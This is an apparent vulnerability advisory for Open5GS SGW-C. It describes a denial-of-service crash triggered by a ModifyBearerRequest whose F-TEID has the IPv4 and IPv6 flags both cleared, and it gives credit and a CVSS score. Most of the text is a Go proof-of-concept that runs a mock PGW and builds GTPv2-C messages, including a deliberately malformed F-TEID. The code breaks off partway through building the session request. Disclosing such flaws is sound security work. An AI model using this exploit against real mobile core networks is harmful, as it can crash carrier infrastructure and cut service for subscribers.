| Descripción | ### Description
SGW-C can be forced to abort by a malformed ModifyBearerRequest (S11) containing a Bearer Context F-TEID that omits both IPv4 and IPv6 address flags (i.e., V4=0 and V6=0).
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// PoC for Vuln-PA3-02: Malformed F-TEID in ModifyBearerRequest
// Target: Open5GS SGW-C
// Vulnerability: ogs_assert(OGS_OK == ogs_gtp2_f_teid_to_ip()) at line 576
// Impact: SGW-C crash (DoS)
package main
import (
"encoding/binary"
"fmt"
"log"
"net"
"sync"
"time"
)
const (
GTPv2Port = 2123
// GTPv2-C Message Types
CreateSessionRequest = 32
CreateSessionResponse = 33
ModifyBearerRequest = 34
// IE Types
IE_IMSI = 1
IE_CAUSE = 2
IE_EBI = 73
IE_BEARER_CONTEXT = 93
IE_FTEID = 87
IE_INDICATION = 77
IE_APN = 71
IE_PDN_TYPE = 99
IE_PAA = 79
IE_SERVING_NET = 83
IE_RAT_TYPE = 82
IE_SELECTION_MODE = 128
IE_APN_RESTRICT = 127
IE_AMBR = 72
IE_BEARER_QOS = 80
// GTPv2 Header flags
GTPv2_VERSION = 2
GTPv2_TEID_PRESENT = 0x08
// F-TEID Interface Types
FTEID_IF_S1U_ENB = 0
FTEID_IF_S11_MME = 10
FTEID_IF_S5S8_PGW = 7
FTEID_IF_S5S8_PGWC = 7
FTEID_IF_S5S8_PGWU = 4
)
var (
pgwIP = "10.44.44.4" // Mock PGW IP (Docker network gateway)
sgwcIP = "10.44.44.2" // SGW-C IP in Docker
pgwReady = make(chan bool)
)
// ============================================================================
// GTPv2 Message Parsing and Building
// ============================================================================
type GTPv2Header struct {
Version uint8
TEID_Flag bool
MessageType uint8
Length uint16
TEID uint32
SeqNum uint32
}
func parseGTPv2Header(data []byte) (*GTPv2Header, error) {
if len(data) < 12 {
return nil, fmt.Errorf("message too short")
}
header := >Pv2Header{
Version: (data[0] >> 5) & 0x07,
TEID_Flag: (data[0] & 0x08) != 0,
MessageType: data[1],
Length: binary.BigEndian.Uint16(data[2:4]),
TEID: binary.BigEndian.Uint32(data[4:8]),
SeqNum: uint32(data[8])<<16 | uint32(data[9])<<8 | uint32(data[10]),
}
return header, nil
}
func buildIE(ieType uint8, instance uint8, data []byte) []byte {
ie := make([]byte, 4+len(data))
ie[0] = ieType
binary.BigEndian.PutUint16(ie[1:3], uint16(len(data)))
ie[3] = instance & 0x0F
copy(ie[4:], data)
return ie
}
func buildValidFTEID(ifType uint8, teid uint32, ipv4 net.IP, instance uint8) []byte {
data := make([]byte, 9)
data[0] = 0x80 | (ifType & 0x3F) // V4=1, V6=0, interface type
binary.BigEndian.PutUint32(data[1:5], teid)
copy(data[5:9], ipv4.To4())
return buildIE(IE_FTEID, instance, data)
}
func buildMalformedFTEID(ifType uint8, teid uint32, instance uint8) []byte {
data := make([]byte, 5)
data[0] = ifType & 0x3F // V4=0, V6=0 - EXPLOIT!
binary.BigEndian.PutUint32(data[1:5], teid)
return buildIE(IE_FTEID, instance, data)
}
func encodeIMSI(imsi string) []byte {
result := make([]byte, 8)
for i := 0; i < len(imsi) && i < 15; i++ {
digit := imsi[i] - '0'
if i%2 == 0 {
result[i/2] |= digit
} else {
result[i/2] |= digit << 4
}
}
if len(imsi)%2 == 1 {
result[len(imsi)/2] |= 0xF0
}
return result
}
// ============================================================================
// Mock PGW Server Functions
// ============================================================================
func buildBearerContext(ebi uint8, pgwS5uTEID uint32, pgwS5uIP net.IP) []byte {
var bearerData []byte
// Cause IE (Request Accepted)
cause := []byte{16, 0}
bearerData = append(bearerData, buildIE(IE_CAUSE, 0, cause)...)
// EBI IE
ebiData := []byte{ebi}
bearerData = append(bearerData, buildIE(IE_EBI, 0, ebiData)...)
// PGW S5/S8 U F-TEID
pgwS5uFTEID := buildValidFTEID(FTEID_IF_S5S8_PGWU, pgwS5uTEID, pgwS5uIP, 2)
bearerData = append(bearerData, pgwS5uFTEID...)
// Bearer QoS
qosData := make([]byte, 22)
qosData[0] = 0x00
qosData[1] = 0x09 // QCI = 9
bearerData = append(bearerData, buildIE(IE_BEARER_QOS, 0, qosData)...)
return buildIE(IE_BEARER_CONTEXT, 0, bearerData)
}
func buildCreateSessionResponseForPGW(reqHeader *GTPv2Header, pgwS5cTEID uint32) []byte {
var payload []byte
// Cause IE (Request Accepted)
cause := []byte{16, 0}
payload = append(payload, buildIE(IE_CAUSE, 0, cause)...)
// PGW S5/S8 C F-TEID (for control plane)
pgwS5cFTEID := buildValidFTEID(FTEID_IF_S5S8_PGWC, pgwS5cTEID, net.ParseIP(pgwIP), 1)
payload = append(payload, pgwS5cFTEID...)
// PDN Address Allocation (PAA) - Assign IP to UE
paa := make([]byte, 5)
paa[0] = 1 // PDN Type: IPv4
paa[1] = 10 // Assigned IP: 10.45.0.1
paa[2] = 45
paa[3] = 0
paa[4] = 1
payload = append(payload, buildIE(IE_PAA, 0, paa)...)
// Bearer Context Created
pgwS5uTEID := uint32(0x55667788)
pgwS5uIP := net.ParseIP(pgwIP)
bearerCtx := buildBearerContext(5, pgwS5uTEID, pgwS5uIP)
payload = append(payload, bearerCtx...)
// Build GTPv2-C header
header := make([]byte, 12)
header[0] = (GTPv2_VERSION << 5) | GTPv2_TEID_PRESENT
header[1] = CreateSessionResponse
binary.BigEndian.PutUint16(header[2:4], uint16(len(payload)+8))
binary.BigEndian.PutUint32(header[4:8], reqHeader.TEID)
header[8] = byte((reqHeader.SeqNum >> 16) & 0xFF)
header[9] = byte((reqHeader.SeqNum >> 8) & 0xFF)
header[10] = byte(reqHeader.SeqNum & 0xFF)
header[11] = 0x00
return append(header, payload...)
}
func runMockPGW(wg *sync.WaitGroup) {
defer wg.Done()
log.Printf("[PGW] Starting Mock PGW Server...")
log.Printf("[PGW] Listening on: %s:%d", pgwIP, GTPv2Port)
// Create UDP listener
addr := &net.UDPAddr{
IP: net.ParseIP(pgwIP),
Port: GTPv2Port,
}
conn, err := net.ListenUDP("udp", addr)
if err != nil {
log.Fatalf("[PGW] Failed to listen: %v", err)
}
defer conn.Close()
log.Printf("[PGW] READY - Waiting for CreateSessionRequest from SGW-C...")
// Signal that PGW is ready
close(pgwReady)
buf := make([]byte, 4096)
sessionCounter := uint32(0x11223344)
// Set a timeout so the goroutine can exit if no requests come
conn.SetReadDeadline(time.Now().Add(30 * time.Second))
for {
n, remoteAddr, err := conn.ReadFromUDP(buf)
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
log.Printf("[PGW] Timeout waiting for requests, exiting...")
return
}
log.Printf("[PGW] Read error: %v", err)
continue
}
log.Printf("[PGW] <-- Received %d bytes from %s", n, remoteAddr)
// Parse header
header, err := parseGTPv2Header(buf[:n])
if err != nil {
log.Printf("[PGW] Failed to parse header: %v", err)
continue
}
log.Printf("[PGW] Message Type=%d, TEID=0x%08x, SeqNum=0x%06x",
header.MessageType, header.TEID, header.SeqNum)
// Handle CreateSessionRequest
if header.MessageType == CreateSessionRequest {
log.Printf("[PGW] Processing CreateSessionRequest from SGW-C")
// Assign PGW S5C TEID
sessionCounter++
pgwS5cTEID := sessionCounter
log.Printf("[PGW] Assigning PGW_S5C_TEID=0x%08x", pgwS5cTEID)
// Build CreateSessionResponse
response := buildCreateSessionResponseForPGW(header, pgwS5cTEID)
// Send response
_, err = conn.WriteToUDP(response, remoteAddr)
if err != nil {
log.Printf("[PGW] Failed to send response: %v", err)
continue
}
log.Printf("[PGW] --> Sent CreateSessionResponse (%d bytes)", len(response))
log.Printf("[PGW] Session established with SGW-C!")
log.Printf("")
// Extend timeout for potential additional messages
conn.SetReadDeadline(time.Now().Add(30 * time.Second))
} else {
log.Printf("[PGW] Unexpected message type: %d (ignoring)", header.MessageType)
}
}
}
// ============================================================================
// Exploit Functions
// ============================================================================
func buildCreateSessionRequest(seqNum uint32, pgwIPAddr string) []byte {
var payload []byte
// IMSI
imsiBytes := encodeIMSI("001010123456789")
payload = append(payload, buildIE(IE_IMSI, 0, imsiBytes)...)
// Serving Network
servingNet := []byte{0x00, 0x10, 0x10}
payload = append(payload, buildIE(IE_SERVING_NET, 0, servingNet)...)
// RAT Type
payload = append(payload, buildIE(IE_RAT_TYPE, 0, []byte{6})...)
// Sender F-TEID (MME S11)
senderFTEID := buildValidFTEID(FTEID_IF_S11_MME, 0x12345678, net.ParseIP("192.168.1.100"), 0)
payload = append(payload, senderFTEID...)
// PGW S5/S8 F-TEID
pgwFTEID := buildValidFTEID(FTEID_IF_S5S8_PGW, 0, net.ParseIP(pgwIPAddr), 1)
payload = append(payload, pgwFTEID...)
// APN
apnEncoded := make([]byte, 9)
apnEncoded[0] = 8
copy(apnEncoded[1:], "internet")
payload = append(payload, buildIE(IE_APN, 0, apnEncoded)...)
// Selection Mode
payload = append(payload, buildIE(IE_SELECTION_MODE, 0, []byte{0})...)
// PDN Type
payload = append(payload, buildIE(IE_PDN_TYPE, 0, []byte{1})...)
// PAA
paa := []byte{1, 0, 0, 0, 0}
payload = append(payload, buildIE(IE_PAA, 0, paa)...)
// APN Restriction
payload = append(payload, buildIE(IE_APN_RESTRICT, 0, []byte{0})...)
// AMBR
ambr := make([]byte, 8)
binary.BigEndian.PutUint32(ambr[0:4], 100000)
binary.BigEndian.PutUint32(ambr[4:8], 1000000)
payload = append(payload, buildIE(IE_AMBR, 0, ambr)...)
// Bearer Context
ebiIE := buildIE(IE_EBI, 0, []byte{5})
qosData := make([]byte, 22)
qosData[0] = 0x00
qosData |
|---|